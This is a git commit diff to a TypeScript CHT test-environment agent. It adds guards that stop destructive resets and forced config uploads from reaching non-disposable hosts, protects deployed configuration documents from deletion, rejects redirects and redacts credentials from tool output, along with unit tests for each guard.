- the wipe worklist refuses protected ids (settings, form:*, _design/*, org.couchdb.user:*)
  at tracking and wipe time, so a data project cannot delete deployed config
- bulkDocs throws on a non-array body; the wipe asserts every submitted deletion was
  acknowledged with ok and reports the actual tombstone count
- cht-conf output is redacted at the runner boundary, and a failed bucket now carries
  cht-conf's own explanation in warnings
- an artifact-targeted apply fails only when every form bucket matched nothing, so
  targeting an app form no longer trips over the contact-forms bucket
- authenticated requests use redirect: manual and reject a 3xx

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
---
 src/agents/test-environment-agent.ts       | 266 +++++++++++++++++----
 src/types/index.ts                         |  43 ++++
 src/utils/cht-api.ts                       |  16 +-
 src/utils/cht-conf-runner.ts               |  71 ++++--
 test/agents/test-environment-agent.spec.ts | 258 +++++++++++++++++++-
 test/utils/cht-api.spec.ts                 |  23 +-
 test/utils/cht-conf-runner.spec.ts         |  63 ++++-
 7 files changed, 658 insertions(+), 82 deletions(-)

diff --git a/src/agents/test-environment-agent.ts b/src/agents/test-environment-agent.ts
index 8b692c75..870447d9 100644
--- a/src/agents/test-environment-agent.ts
+++ b/src/agents/test-environment-agent.ts
@@ -26,6 +26,8 @@ import {
   EnvironmentHandle,
   PrepareTestDataOptions,
   ProvisionOptions,
+  ResetOptions,
+  ResetResult,
   ResetTier,
   RoleConfig,
   TestDataResult,
@@ -33,7 +35,7 @@ import {
 } from '../types';
 import { MOCK_TEST_ENV_DATA, mockConfigActionResult } from './test-environment-agent.mock-data';
 import { waitForReady } from '../utils/cht-readiness';
-import { runBucket, runChtConf } from '../utils/cht-conf-runner';
+import { FORM_BUCKETS, runBucket, runChtConf } from '../utils/cht-conf-runner';
 import { BulkDoc, bulkDocs, DocRevRow, fetchDocRevs, fetchFormRevs, fetchSettings } from '../utils/cht-api';
 import {
   classifySeededDocs,
@@ -104,12 +106,62 @@ interface RealTarget {
 
 type BasicAuth = { user: string; password: string };
 
-/** The COUCHDB_* env seam is gated on COUCHDB_PASSWORD (COUCHDB_USER falls back to the default user). */
-const resolveRealAuth = (options: ProvisionOptions, embeddedAuth: BasicAuth | undefined): BasicAuth => {
+/** Hosts treated as disposable test instances (see assertDisposableTarget). */
+const DISPOSABLE_HOSTS = new Set(['nginx', 'localhost', '127.0.0.1', '[::1]']);
+
+const isDisposableHost = (hostname: string): boolean =>
+  DISPOSABLE_HOSTS.has(hostname) ||
+  hostname.endsWith('.local') ||
+  hostname.endsWith('.localhost') ||
+  // cht-docker-helper (the published-version bring-up) serves the stack here.
+  hostname.endsWith('.local-ip.medicmobile.org');
+
+/**
+ * The COUCHDB_* env seam is gated on COUCHDB_PASSWORD (COUCHDB_USER falls back to
+ * the default user). `isDefault` reports that nobody supplied credentials, so the
+ * guard can refuse to send the built-in medic/password to an unknown host.
+ */
+const resolveRealAuth = (
+  options: ProvisionOptions,
+  embeddedAuth: BasicAuth | undefined
+): { auth: BasicAuth; isDefault: boolean } => {
   const envAuth = process.env.COUCHDB_PASSWORD
     ? { user: process.env.COUCHDB_USER ?? DEFAULT_AUTH.user, password: process.env.COUCHDB_PASSWORD }
     : undefined;
-  return options.auth ?? embeddedAuth ?? envAuth ?? DEFAULT_AUTH;
+  const supplied = options.auth ?? embeddedAuth ?? envAuth;
+  return supplied ? { auth: supplied, isDefault: false } : { auth: DEFAULT_AUTH, isDefault: true };
+};
+
+/**
+ * Refuse to aim the destructive paths at anything but a disposable test instance:
+ * applyConfig runs cht-conf with `--force` and reset('couchdb') deletes docs, so a
+ * stale CHT_URL pointing at staging must fail loudly rather than clobber it.
+ * Override per call with allowExternalTarget, or with CHT_TEST_ENV_ALLOW_EXTERNAL=1.
+ */
+const assertDisposableTarget = (target: URL, options: ProvisionOptions, defaultCreds: boolean): void => {
+  const disposable = isDisposableHost(target.hostname);
+  if (target.protocol !== 'https:' && !(target.protocol === 'http:' && disposable)) {
+    throw new Error(
+      `provision: refusing ${target.protocol}//${target.host} — https is required ` +
+        '(http only for a local disposable instance)'
+    );
+  }
+  if (disposable) {
+    return;
+  }
+  if (options.allowExternalTarget !== true && process.env.CHT_TEST_ENV_ALLOW_EXTERNAL !== '1') {
+    throw new Error(
+      `provision: ${target.host} is not a known disposable test instance, and this layer runs ` +
+        'cht-conf --force and deletes docs. Set allowExternalTarget (or ' +
+        'CHT_TEST_ENV_ALLOW_EXTERNAL=1) if that really is the target.'
+    );
+  }
+  if (defaultCreds) {
+    throw new Error(
+      `provision: refusing the built-in default credentials against ${target.host} — pass auth ` +
+        'explicitly or set COUCHDB_USER/COUCHDB_PASSWORD.'
+    );
+  }
 };
 
 /**
@@ -125,13 +177,17 @@ const resolveRealAuth = (options: ProvisionOptions, embeddedAuth: BasicAuth | un
 const resolveRealTarget = (options: ProvisionOptions): RealTarget => {
   const envUrl = process.env.CHT_URL?.trim() || undefined;
   const resolved = new URL(options.url ?? envUrl ?? DEFAULT_ENV_URL);
-  const embeddedAuth = resolved.username
-    ? { user: decodeUserinfo(resolved.username), password: decodeUserinfo(resolved.password) }
-    : undefined;
+  // Both halves must be present: `https://medic@host` is not a credential, and
+  // treating it as one would slip a blank password past the default-creds guard.
+  const embeddedAuth =
+    resolved.username && resolved.password
+      ? { user: decodeUserinfo(resolved.username), password: decodeUserinfo(resolved.password) }
+      : undefined;
   resolved.username = '';
   resolved.password = '';
-  const url = stripTrailingSlashes(resolved.toString());
-  return { url, auth: resolveRealAuth(options, embeddedAuth) };
+  const { auth, isDefault } = resolveRealAuth(options, embeddedAuth);
+  assertDisposableTarget(resolved, options, isDefault);
+  return { url: stripTrailingSlashes(resolved.toString()), auth };
 };
 
 /** Build the deterministic mock-mode handle (no instance, no Docker). */
@@ -168,13 +224,27 @@ const toApplyResult = (
   configPath: string,
   artifact: string | undefined,
   results: ConfigActionResult[]
-): ConfigApplyResult => ({
-  configPath,
-  ...(artifact ? { artifact } : {}),
-  actions: results,
-  succeeded: results.every((result) => result.status !== 'failed'),
-  warnings: results.flatMap((result) => result.warnings),
-});
+): ConfigApplyResult => {
+  // An artifact filter legitimately matches nothing in the OTHER form bucket
+  // (targeting an app form never matches contact-forms), so a miss only means
+  // the request failed when EVERY form bucket came up empty.
+  const formResults = results.filter((result) => FORM_BUCKETS.has(result.action));
+  const artifactMissed =
+    artifact !== undefined &&
+    formResults.length > 0 &&
+    formResults.every((result) => result.matchedNothing === true);
+  const warnings = results.flatMap((result) => result.warnings);
+  if (artifactMissed) {
+    warnings.push(`no configured form bucket contains an artifact named "${artifact}"`);
+  }
+  return {
+    configPath,
+    ...(artifact ? { artifact } : {}),
+    actions: results,
+    succeeded: results.every((result) => result.status !== 'failed') && !artifactMissed,
+    warnings,
+  };
+};
 
 const isRecord = (value: unknown): value is Record<string, unknown> =>
   value !== null && typeof value === 'object' && !Array.isArray(value);
@@ -290,10 +360,34 @@ const describeRunFailure = (label: string, run: ChtConfExecResult): string => {
 const runSucceeded = (run: ChtConfExecResult): boolean =>
   run.exitCode === 0 && !run.timedOut && run.startError === undefined;
 
-/** What prepareTestData tracked for a provisioned env, keyed by handle URL. */
+/**
+ * Doc ids the couchdb reset must never delete: deployed configuration and user
+ * accounts. The worklist comes from project-supplied csv-to-docs output (or a
+ * caller-supplied docIds list), so it is filtered rather than trusted — a data
+ * project containing a doc called `settings` must not be able to wipe the
+ * instance's app settings.
+ */
+const PROTECTED_DOC_ID =
+  /^(settings|resources|branding|partners|extension-libs)$|^_design\/|^form:|^org\.couchdb\.user:|^messages-/;
+
+const partitionProtected = (ids: string[]): { safe: string[]; protectedIds: string[] } => {
+  const safe: string[] = [];
+  const protectedIds: string[] = [];
+  for (const id of ids) {
+    (PROTECTED_DOC_ID.test(id) ? protectedIds : safe).push(id);
+  }
+  return { safe, protectedIds };
+};
+
+/** Tracking key — the URL alone collides when parallel envs share the service hostname. */
+const trackingKey = (handle: EnvironmentHandle): string => `${handle.network}|${handle.url}`;
+
+/** What prepareTestData tracked for a provisioned env. */
 interface SeededDataRecord {
   dataPath: string;
   docIds: string[];
+  /** Ids refused as protected config docs (reported by reset, never wiped). */
+  protectedSkipped: string[];
   /** The seed's cht-conf binary/timeout, reused by the reset's reseed (no version/timeout skew). */
   bin?: string;
   timeoutMs?: number;
@@ -389,21 +483,28 @@ const buildTombstones = (rows: DocRevRow[]): BulkDoc[] => {
 
 /**
  * couchdb reset — wipe: delete the tracked docs at their CURRENT revs (sentinel
- * may have bumped them). Throws if any deletion is rejected — a half-reset
- * environment must not pass as clean.
+ * may have bumped them). Returns how many were actually tombstoned. Throws
+ * unless CouchDB acknowledged every submitted deletion with `ok` — a half-reset
+ * environment, or a truncated response, must not pass as clean.
  */
-const wipeTrackedDocs = async (handle: EnvironmentHandle, tracked: SeededDataRecord): Promise<void> => {
-  const rows = await fetchDocRevs(handle.url, handle.auth, tracked.docIds);
+const wipeTrackedDocs = async (handle: EnvironmentHandle, docIds: string[]): Promise<number> => {
+  const rows = await fetchDocRevs(handle.url, handle.auth, docIds);
   const deletions = buildTombstones(rows);
   if (deletions.length === 0) {
-    return;
+    return 0;
   }
   const outcomes = await bulkDocs(handle.url, handle.auth, deletions);
-  const failed = outcomes.filter((row) => row.error);
+  if (outcomes.length !== deletions.length) {
+    throw new Error(
+      `couchdb reset: _bulk_docs acknowledged ${outcomes.length} of ${deletions.length} deletion(s)`
+    );
+  }
+  const failed = outcomes.filter((row) => row.error !== undefined || row.ok !== true);
   if (failed.length > 0) {
     const failedIds = failed.map((row) => row.id ?? 'unknown').slice(0, 5).join(', ');
     throw new Error(`couchdb reset failed to delete ${failed.length} doc(s): ${failedIds}`);
   }
+  return deletions.length;
 };
 
 /**
@@ -415,7 +516,7 @@ const reseedTrackedDocs = async (
   handle: EnvironmentHandle,
   tracked: SeededDataRecord,
   onDisk: SeededDoc[]
-): Promise<void> => {
+): Promise<number> => {
   const reseed = await runChtConf({
     verbs: ['upload-docs'],
     instanceUrl: credentialedUrl(handle),
@@ -428,11 +529,16 @@ const reseedTrackedDocs = async (
   if (!runSucceeded(reseed)) {
     throw new Error(`couchdb reset: reseed failed — ${describeRunFailure('upload-docs', reseed)}`);
   }
+  // upload-docs re-uploads the whole json_docs directory, protected ids included;
+  // only the docs this layer owns count towards a complete reseed (a protected doc
+  // conflicting with deployed config must not fail every future reset).
+  const expected = partitionProtected(onDisk.map((doc) => doc.id)).safe.length;
   const summary = parseUploadDocsSummary(reseed.output);
   const uploadedCount = summary?.uploaded ?? 0;
-  if (uploadedCount < onDisk.length) {
-    throw new Error(`couchdb reset: reseed uploaded only ${uploadedCount} of ${onDisk.length} docs`);
+  if (uploadedCount < expected) {
+    throw new Error(`couchdb reset: reseed uploaded only ${uploadedCount} of ${expected} docs`);
   }
+  return expected;
 };
 
 /** Print the human-gated restart/full reset instructions (the agent runs no Docker). */
@@ -659,9 +765,17 @@ export class TestEnvironmentAgent {
     // empty re-seed must not clobber a live one (docs from the earlier seed are
     // still on the instance).
     if (docsOk && seeded.length > 0) {
-      this.seededData.set(handle.url, {
+      const { safe, protectedIds } = partitionProtected(seeded.map((doc) => doc.id));
+      if (protectedIds.length > 0) {
+        warnings.push(
+          `${protectedIds.length} seeded doc id(s) name deployed config and are excluded from ` +
+            `reset: ${protectedIds.slice(0, 3).join(', ')}`
+        );
+      }
+      this.seededData.set(trackingKey(handle), {
         dataPath,
-        docIds: seeded.map((doc) => doc.id),
+        docIds: safe,
+        protectedSkipped: protectedIds,
         bin: options.bin,
         timeoutMs: options.timeoutMs,
       });
@@ -682,21 +796,64 @@ export class TestEnvironmentAgent {
    * Reset the environment to a known state. See the three-tier reset strategy
    * in the recommendation doc. The couchdb tier is the one reset the agent
    * performs itself (CouchDB HTTP API — no Docker): it wipes the docs the last
-   * prepareTestData seeded and re-uploads pristine copies, leaving the deployed
-   * config untouched. restart/full remain human-gated Docker operations.
+   * prepareTestData seeded and re-uploads pristine copies. Ids that name deployed
+   * configuration or user accounts are refused, so the deployed config survives
+   * whatever the data project contains. restart/full stay human-gated.
    */
-  async reset(handle: EnvironmentHandle, tier: ResetTier): Promise<void> {
+  async reset(
+    handle: EnvironmentHandle,
+    tier: ResetTier,
+    options: ResetOptions = {}
+  ): Promise<ResetResult> {
+    const gated = (performedBy: ResetResult['performedBy']): ResetResult => ({
+      tier,
+      wiped: 0,
+      reseeded: 0,
+      performedBy,
+      protectedSkipped: [],
+    });
+
     if (this.useMockDocker) {
       console.log(`[Test Environment Agent] Reset (${tier}) -> ${handle.url}`);
       console.log('[Test Environment Agent] (mock) reset complete');
-      return;
+      return gated(tier === 'couchdb' ? 'agent' : 'human-gate');
     }
 
     if (tier === 'couchdb') {
-      await this.resetCouchdbTier(handle);
-      return;
+      return this.resetCouchdbTier(handle, options);
     }
     printResetGate(handle, tier);
+    return gated('human-gate');
+  }
+
+  /**
+   * Reset worklist: explicit options win (they let a handle reloaded in another
+   * process drive the reset — the agent's tracking is in-memory), otherwise fall
+   * back to what prepareTestData recorded for this environment.
+   */
+  private resolveResetWorklist(
+    handle: EnvironmentHandle,
+    options: ResetOptions
+  ): SeededDataRecord | undefined {
+    const tracked = this.seededData.get(trackingKey(handle));
+    const dataPath = options.dataPath ?? tracked?.dataPath;
+    const docIds = options.docIds ?? tracked?.docIds ?? [];
+    if (dataPath === undefined) {
+      if (options.docIds !== undefined) {
+        throw new Error('reset: options.docIds also needs options.dataPath (the project to reseed from)');
+      }
+      return undefined;
+    }
+    if (docIds.length === 0) {
+      return undefined;
+    }
+    return {
+      dataPath,
+      docIds,
+      protectedSkipped: tracked?.protectedSkipped ?? [],
+      bin: tracked?.bin,
+      timeoutMs: tracked?.timeoutMs,
+    };
   }
 
   /**
@@ -707,14 +864,14 @@ export class TestEnvironmentAgent {
    * Throws when the wipe or the reseed does not fully apply — a half-reset
    * environment must not pass as clean.
    */
-  private async resetCouchdbTier(handle: EnvironmentHandle): Promise<void> {
-    const tracked = this.seededData.get(handle.url);
-    if (!tracked || tracked.docIds.length === 0) {
+  private async resetCouchdbTier(handle: EnvironmentHandle, options: ResetOptions): Promise<ResetResult> {
+    const tracked = this.resolveResetWorklist(handle, options);
+    if (tracked === undefined) {
       console.log(
         `[Test Environment Agent] couchdb reset: no seeded docs tracked for ${handle.url} — ` +
-          'nothing to wipe (seed with prepareTestData first)'
+          'nothing to wipe (seed with prepareTestData, or pass docIds + dataPath)'
       );
-      return;
+      return { tier: 'couchdb', wiped: 0, reseeded: 0, performedBy: 'agent', protectedSkipped: [] };
     }
 
     // Pre-flight the reseed source BEFORE the destructive wipe: if the data
@@ -728,20 +885,33 @@ export class TestEnvironmentAgent {
       );
     }
 
-    console.log(
-      `[Test Environment Agent] couchdb reset: wiping ${tracked.docIds.length} seeded doc(s) -> ${handle.url}`
-    );
-    await wipeTrackedDocs(handle, tracked);
-    await reseedTrackedDocs(handle, tracked, onDisk);
+    // Defence in depth — tracking already filters, but options.docIds does not.
+    const { safe, protectedIds } = partitionProtected(tracked.docIds);
+    const refused = [...new Set([...tracked.protectedSkipped, ...protectedIds])];
+    if (protectedIds.length > 0) {
+      console.warn(
+        `[Test Environment Agent] couchdb reset: refusing to wipe ${protectedIds.length} protected ` +
+          `config doc(s): ${protectedIds.slice(0, 5).join(', ')}`
+      );
+    }
+
+    console.log(`[Test Environment Agent] couchdb reset: wiping ${safe.length} seeded doc(s) -> ${handle.url}`);
+    const wiped = await wipeTrackedDocs(handle, safe);
+    const reseeded = await reseedTrackedDocs(handle, tracked, onDisk);
 
     // The reseeded docs are the new tracked state (the dataset may have
     // changed since the wiped set was seeded).
-    this.seededData.set(handle.url, { ...tracked, docIds: onDisk.map((doc) => doc.id) });
+    const nextWorklist = partitionProtected(onDisk.map((doc) => doc.id));
+    this.seededData.set(trackingKey(handle), {
+      ...tracked,
+      docIds: nextWorklist.safe,
+      protectedSkipped: nextWorklist.protectedIds,
+    });
 
     console.log(
-      `[Test Environment Agent] couchdb reset complete — ` +
-        `${tracked.docIds.length} doc(s) wiped, ${onDisk.length} reseeded`
+      `[Test Environment Agent] couchdb reset complete — ${wiped} doc(s) wiped, ${reseeded} reseeded`
     );
+    return { tier: 'couchdb', wiped, reseeded, performedBy: 'agent', protectedSkipped: refused };
   }
 
   /**
@@ -750,7 +920,7 @@ export class TestEnvironmentAgent {
   async teardown(handle: EnvironmentHandle): Promise<void> {
     if (!this.useMockDocker) {
       // The environment (and every doc in it) is going away with the volumes.
-      this.seededData.delete(handle.url);
+      this.seededData.delete(trackingKey(handle));
 
       const target = shellQuote(handle.chtCorePath ?? '<cht-core>');
       console.log('[Test Environment Agent] HUMAN GATE — teardown (the agent runs no Docker):');
diff --git a/src/types/index.ts b/src/types/index.ts
index 64cb2a45..dc5a3fda 100644
--- a/src/types/index.ts
+++ b/src/types/index.ts
@@ -845,6 +845,13 @@ export interface ConfigActionResult {
   /** The cht-conf verbs this bucket ran (for evidence/logging). */
   commands: string[];
   warnings: string[];
+  /**
+   * True when cht-conf found nothing to act on (an artifact filter that matched
+   * no file, or a missing bucket input). Distinct from a hash-based skip, which
+   * means the artifact WAS found and was already current. applyConfig uses this
+   * to decide whether an artifact-targeted apply actually happened.
+   */
+  matchedNothing?: boolean;
 }
 
 /**
@@ -972,6 +979,12 @@ export interface ProvisionOptions {
   auth?: { user: string; password: string };
   /** Readiness polling tuning (the human may take minutes to bring the env up). */
   readiness?: ReadinessOptions;
+  /**
+   * Permit a target that is not a recognised disposable test host. This layer
+   * runs cht-conf with `--force` and deletes docs, so provision refuses an
+   * unknown host unless this (or CHT_TEST_ENV_ALLOW_EXTERNAL=1) is set.
+   */
+  allowExternalTarget?: boolean;
 }
 
 /**
@@ -1009,3 +1022,33 @@ export interface TestDataResult {
  * Reset granularity (see Test Environment Layer recommendation, three-tier reset)
  */
 export type ResetTier = 'couchdb' | 'restart' | 'full';
+
+/**
+ * Inputs to reset(). The couchdb tier defaults to whatever the last
+ * prepareTestData tracked for this environment; pass these to drive a reset
+ * from a handle that was reloaded in another process (the agent's tracking is
+ * in-memory and does not survive a restart).
+ */
+export interface ResetOptions {
+  /** Data project to reseed from (default: the tracked one). */
+  dataPath?: string;
+  /** Doc ids to wipe (default: the tracked ones). */
+  docIds?: string[];
+}
+
+/**
+ * Outcome of reset(). Returned for every tier so a caller can assert what
+ * happened instead of scraping logs: a no-op reports zero counts rather than
+ * being indistinguishable from a completed wipe.
+ */
+export interface ResetResult {
+  tier: ResetTier;
+  /** Docs actually tombstoned and acknowledged by CouchDB. */
+  wiped: number;
+  /** Docs re-uploaded from the data project. */
+  reseeded: number;
+  /** `agent` for the couchdb tier; `human-gate` when the tier only printed instructions. */
+  performedBy: 'agent' | 'human-gate';
+  /** Tracked ids refused as protected config docs (never wiped). */
+  protectedSkipped: string[];
+}
diff --git a/src/utils/cht-api.ts b/src/utils/cht-api.ts
index 290ba118..94490b12 100644
--- a/src/utils/cht-api.ts
+++ b/src/utils/cht-api.ts
@@ -84,8 +84,15 @@ const request = async (
       ...(hasBody ? { 'Content-Type': 'application/json' } : {}),
     },
     ...(hasBody ? { body: options.body } : {}),
+    // Never follow a redirect on an authenticated request: these endpoints do not
+    // redirect in normal operation, and following one would replay the call (and
+    // its body) wherever the target host chose to point.
+    redirect: 'manual',
     signal: AbortSignal.timeout(timeoutMs),
   });
+  if (response.status >= 300 && response.status < 400) {
+    throw new Error(`CHT request failed: ${method} ${path} -> unexpected redirect (HTTP ${response.status})`);
+  }
   if (!response.ok) {
     throw new Error(`CHT request failed: ${method} ${path} -> HTTP ${response.status}`);
   }
@@ -167,7 +174,9 @@ export const fetchDocRevs = async (
 /**
  * Submit docs to POST /medic/_bulk_docs (the couchdb reset submits
  * {_id, _rev, _deleted: true} tombstones). Returns the per-doc outcome rows;
- * callers decide whether an `error` row (e.g. a conflict) is fatal.
+ * callers decide whether an `error` row (e.g. a conflict) is fatal. A 2xx body
+ * that is not an array throws rather than reading as "zero failures" — the
+ * destructive caller must not mistake an unexpected response for a clean wipe.
  */
 export const bulkDocs = async (
   url: string,
@@ -183,5 +192,8 @@ export const bulkDocs = async (
     method: 'POST',
     body: JSON.stringify({ docs }),
   });
-  return Array.isArray(body) ? (body as BulkDocResultRow[]) : [];
+  if (!Array.isArray(body)) {
+    throw new Error('CHT request failed: POST /medic/_bulk_docs returned a non-array body');
+  }
+  return body as BulkDocResultRow[];
 };
diff --git a/src/utils/cht-conf-runner.ts b/src/utils/cht-conf-runner.ts
index dc690e66..4b0328ef 100644
--- a/src/utils/cht-conf-runner.ts
+++ b/src/utils/cht-conf-runner.ts
@@ -69,7 +69,7 @@ const DEFAULT_TIMEOUT_MS = 180_000;
 export const resolveChtConfBin = (): string => process.env.CHT_CONF_BIN || 'cht';
 
 /** Buckets whose verbs accept a positional single-form filter. */
-const FORM_BUCKETS = new Set<ConfigUploadAction>(['app-forms', 'contact-forms']);
+export const FORM_BUCKETS = new Set<ConfigUploadAction>(['app-forms', 'contact-forms']);
 
 /**
  * cht-conf executes code from the `--source` project (app-settings build,
@@ -153,20 +153,51 @@ export const classifyChtConfOutput = (output: string, exitCode: number | null):
   return uploadedAny ? 'uploaded' : 'skipped';
 };
 
-/** Explain a skipped bucket that showed no hash-skip evidence (default-deny for silent runs). */
-const noteSkippedWithoutEvidence = (
-  output: string,
-  action: ConfigUploadAction,
+const OUTPUT_TAIL_LINES = 5;
+
+/** The last few non-empty output lines — cht-conf's own account of what went wrong. */
+const outputTail = (output: string): string[] =>
+  output
+    .split('\n')
+    .map((line) => line.trim())
+    .filter((line) => line.length > 0)
+    .slice(-OUTPUT_TAIL_LINES);
+
+/**
+ * Explain a bucket that produced no upload evidence, and upgrade a targeted miss
+ * to `failed`: if the caller named an artifact and cht-conf matched nothing, the
+ * requested upload did not happen — a failure of intent, not a no-op. A missing
+ * bucket input (cht-core's config/default has no branding.json, for instance)
+ * stays `skipped`.
+ */
+const classifySkippedBucket = (
+  run: ChtConfExecResult,
+  options: ChtConfRunOptions,
   warnings: string[]
-): void => {
-  const lower = output.toLowerCase();
+): { status: ConfigActionStatus; matchedNothing: boolean } => {
+  const lower = run.output.toLowerCase();
   if (NO_WORK_LINE.test(lower)) {
-    warnings.push(`cht-conf ${action} had nothing to upload (unmatched form filter or missing bucket input)`);
-  } else if (!SKIP_LINE.test(lower)) {
-    warnings.push(`cht-conf ${action} produced no upload or skip line — treated as skipped`);
+    const what =
+      options.artifact !== undefined && FORM_BUCKETS.has(options.action)
+        ? `no artifact named "${options.artifact}"`
+        : 'nothing to upload (missing bucket input)';
+    warnings.push(`cht-conf ${options.action} matched ${what}`);
+    return { status: 'skipped', matchedNothing: true };
+  }
+  if (!SKIP_LINE.test(lower)) {
+    warnings.push(`cht-conf ${options.action} produced no upload or skip line — treated as skipped`);
   }
+  return { status: 'skipped', matchedNothing: false };
 };
 
+/**
+ * Strip basic-auth userinfo from any URL in text. cht-conf runs with the
+ * credentialed `--url` under `--verbose` and echoes URLs on some paths, so its
+ * output is redacted at this boundary — no caller (a log line, a trace span, an
+ * error message) can leak the instance password by forwarding it.
+ */
+export const redactUrlCreds = (text: string): string => text.replace(/(\/\/)[^/\s:@]+:[^/\s]*@/g, '$1***:***@');
+
 /**
  * Run one `cht` process for an ordered verb list. Resolves with the raw
  * outcome (never rejects — spawn errors and timeouts are folded into the
@@ -196,7 +227,7 @@ export const runChtConf = (options: ChtConfExecOptions): Promise<ChtConfExecResu
       }
       settled = true;
       clearTimeout(timeoutId);
-      resolve({ ...result, output: chunks.join('') });
+      resolve({ ...result, output: redactUrlCreds(chunks.join('')) });
     };
 
     const timeoutId = setTimeout(() => {
@@ -228,21 +259,25 @@ const deriveBucketStatus = (
   run: ChtConfExecResult,
   options: ChtConfRunOptions,
   warnings: string[]
-): ConfigActionStatus => {
+): { status: ConfigActionStatus; matchedNothing: boolean } => {
   if (run.timedOut) {
     const timeoutMs = options.timeoutMs ?? DEFAULT_TIMEOUT_MS;
     warnings.push(`cht-conf ${options.action} timed out after ${timeoutMs}ms`);
-    return 'failed';
+    return { status: 'failed', matchedNothing: false };
   }
   if (run.startError !== undefined) {
     warnings.push(`cht-conf ${options.action} failed to start: ${run.startError}`);
-    return 'failed';
+    return { status: 'failed', matchedNothing: false };
   }
   const status = classifyChtConfOutput(run.output, run.exitCode);
   if (status === 'skipped') {
-    noteSkippedWithoutEvidence(run.output, options.action, warnings);
+    return classifySkippedBucket(run, options, warnings);
+  }
+  if (status === 'failed') {
+    // A non-zero exit otherwise arrives with no explanation at all.
+    warnings.push(...outputTail(run.output).map((line) => `cht-conf: ${line}`));
   }
-  return status;
+  return { status, matchedNothing: false };
 };
 
 /**
@@ -271,10 +306,12 @@ export const runBucket = async (options: ChtConfRunOptions): Promise<ConfigActio
     timeoutMs: options.timeoutMs,
   });
 
+  const { status, matchedNothing } = deriveBucketStatus(run, options, warnings);
   return {
     action: options.action,
-    status: deriveBucketStatus(run, options, warnings),
+    status,
     commands: [...verbs],
     warnings,
+    matchedNothing,
   };
 };
diff --git a/test/agents/test-environment-agent.spec.ts b/test/agents/test-environment-agent.spec.ts
index 1c225aeb..965d366b 100644
--- a/test/agents/test-environment-agent.spec.ts
+++ b/test/agents/test-environment-agent.spec.ts
@@ -95,7 +95,7 @@ describe('TestEnvironmentAgent', () => {
     describe('real mode (useMockDocker: false)', () => {
       let fetchStub: sinon.SinonStub;
       // Provision reads these; isolate every test from the ambient env.
-      const PROVISION_ENV_KEYS = ['CHT_URL', 'COUCHDB_USER', 'COUCHDB_PASSWORD'];
+      const PROVISION_ENV_KEYS = ['CHT_URL', 'COUCHDB_USER', 'COUCHDB_PASSWORD', 'CHT_TEST_ENV_ALLOW_EXTERNAL'];
       const priorProvisionEnv: Record<string, string | undefined> = {};
 
       beforeEach(() => {
@@ -167,6 +167,90 @@ describe('TestEnvironmentAgent', () => {
         }
       });
 
+      describe('disposable-target guard', () => {
+        it('should allow http for a local disposable instance', async () => {
+          fetchStub.resolves({ ok: true, status: 200 });
+          process.env.CHT_URL = 'http://localhost:5988';
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          const handle = await realAgent.provision({ version: '4.18.0' });
+
+          expect(handle.url).to.equal('http://localhost:5988');
+        });
+
+        it('should refuse http for a non-local host (the admin password would travel in clear)', async () => {
+          process.env.CHT_URL = 'http://cht.example';
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          try {
+            await realAgent.provision({ version: '4.18.0', allowExternalTarget: true });
+            expect.fail('expected provision to reject');
+          } catch (error) {
+            expect((error as Error).message).to.include('https is required');
+          }
+          expect(fetchStub.called).to.equal(false);
+        });
+
+        it('should refuse an unknown host without an explicit opt-in', async () => {
+          process.env.CHT_URL = 'https://staging.example';
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          try {
+            await realAgent.provision({ version: '4.18.0' });
+            expect.fail('expected provision to reject');
+          } catch (error) {
+            expect((error as Error).message).to.include('not a known disposable test instance');
+          }
+          expect(fetchStub.called).to.equal(false);
+        });
+
+        it('should refuse the built-in default credentials even against an opted-in external host', async () => {
+          process.env.CHT_URL = 'https://staging.example';
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          try {
+            await realAgent.provision({ version: '4.18.0', allowExternalTarget: true });
+            expect.fail('expected provision to reject');
+          } catch (error) {
+            expect((error as Error).message).to.include('refusing the built-in default credentials');
+          }
+        });
+
+        it('should accept the cht-docker-helper host used by the published-version bring-up', async () => {
+          fetchStub.resolves({ ok: true, status: 200 });
+          process.env.CHT_URL = 'https://192-168-1-10.local-ip.medicmobile.org';
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          const handle = await realAgent.provision({ version: '4.18.0' });
+
+          expect(handle.url).to.equal('https://192-168-1-10.local-ip.medicmobile.org');
+        });
+
+        it('should not treat a bare userinfo with no password as supplied credentials', async () => {
+          process.env.CHT_URL = 'https://medic@staging.example';
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          try {
+            await realAgent.provision({ version: '4.18.0', allowExternalTarget: true });
+            expect.fail('expected provision to reject');
+          } catch (error) {
+            expect((error as Error).message).to.include('refusing the built-in default credentials');
+          }
+        });
+
+        it('should honor the CHT_TEST_ENV_ALLOW_EXTERNAL opt-in once credentials are supplied', async () => {
+          fetchStub.resolves({ ok: true, status: 200 });
+          process.env.CHT_URL = 'https://staging.example';
+          process.env.CHT_TEST_ENV_ALLOW_EXTERNAL = '1';
+          process.env.COUCHDB_PASSWORD = 'realpass';
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          const handle = await realAgent.provision({ version: '4.18.0' });
+
+          expect(handle.url).to.equal('https://staging.example');
+        });
+      });
+
       describe('CHT_URL fallback', () => {
         // Env save/clear/restore is handled by the enclosing describe.
 
@@ -175,7 +259,11 @@ describe('TestEnvironmentAgent', () => {
           process.env.CHT_URL = 'https://cht.example';
           const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
 
-          const handle = await realAgent.provision({ version: '4.18.0' });
+          const handle = await realAgent.provision({
+            version: '4.18.0',
+            allowExternalTarget: true,
+            auth: { user: 'ops', password: 'opspass' },
+          });
 
           expect(handle.url).to.equal('https://cht.example');
           expect(fetchStub.firstCall.args[0]).to.equal('https://cht.example/api/v2/monitoring');
@@ -186,7 +274,12 @@ describe('TestEnvironmentAgent', () => {
           process.env.CHT_URL = 'https://cht.example';
           const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
 
-          const handle = await realAgent.provision({ version: '4.18.0', url: 'https://explicit.example' });
+          const handle = await realAgent.provision({
+            version: '4.18.0',
+            url: 'https://explicit.example',
+            allowExternalTarget: true,
+            auth: { user: 'ops', password: 'opspass' },
+          });
 
           expect(handle.url).to.equal('https://explicit.example');
         });
